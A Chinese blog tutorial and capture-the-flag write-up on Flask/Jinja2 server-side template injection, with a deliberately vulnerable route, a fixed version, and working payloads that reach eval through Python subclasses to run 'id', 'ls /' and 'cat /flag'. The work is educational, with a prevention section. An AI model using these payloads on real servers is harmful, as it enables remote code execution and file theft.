前言
由于最近一直在学二进制,所以web方面时间就不是很充足了,在buuoj上做了几道web,其中有一道flask(jinja2)的SSTI,之前也接触过,所以今天就来复现下flask ssti,这里推荐一个学习环境
vulhub
基础知识
Flask
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。Werkzeug 一个 WSGI 工具包。
个人感觉,flask学习起来还是挺容易的,安装flask
- pip install flask
下面写一个简单的flask代码
代码语言:javascript复制from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello ly0n!"
if __name__ == "__main__":
app.run()
简单说一下上面的代码,前两行就是导入flask
包然后进行初始化。紧接着下面三行是使用Flask提供的@app.route
修饰器,把修饰的函数注释为路由。然后运行即可。
jinja2
代码语言:javascript复制jinja2 是Flask 框架的一部分,Jinja2 利用模板参数提供的相应的值替换了 {{…}} 块
Jinja2 模板同样支持控制语句,像在 {%…%} 块
代码语言:javascript复制{# This is jinja code
# 控制结构
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}
测试输出
代码语言:javascript复制
from jinja2 import Template
t=Template('{% for i in range(19) %}{{ i }}{% endfor %}')
print(t.render())
漏洞原理
漏洞成因
查看源码
代码语言:javascript复制from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " name)
return t.render()
if __name__ == "__main__":
app.run()
t = Template("Hello " name)
这行代码使得Template完全可控,我们传入jinja2的控制语句就可以得到执行。我们可以传入demo里的控制语句0123456789101112131415161718
漏洞预防
我们可以修改flask的修饰器@app.route("/ly0n")
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/ly0n")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
原理是将其路由到/ly0n页面进行访问测试,原本存在的代码注入漏洞就不存在了.
漏洞利用
利用eval函数执行任意代码构造POC
代码语言:javascript复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
buuoj fake_goole
打开题目看到一个搜索框
随便输入下看到提示为ssti
是基于jinja2的SSTI
构造payload
代码语言:javascript复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}
代码语言:javascript复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
{% endif %}
{% endfor %}
原理分析见另一篇文章
- python沙盒逃逸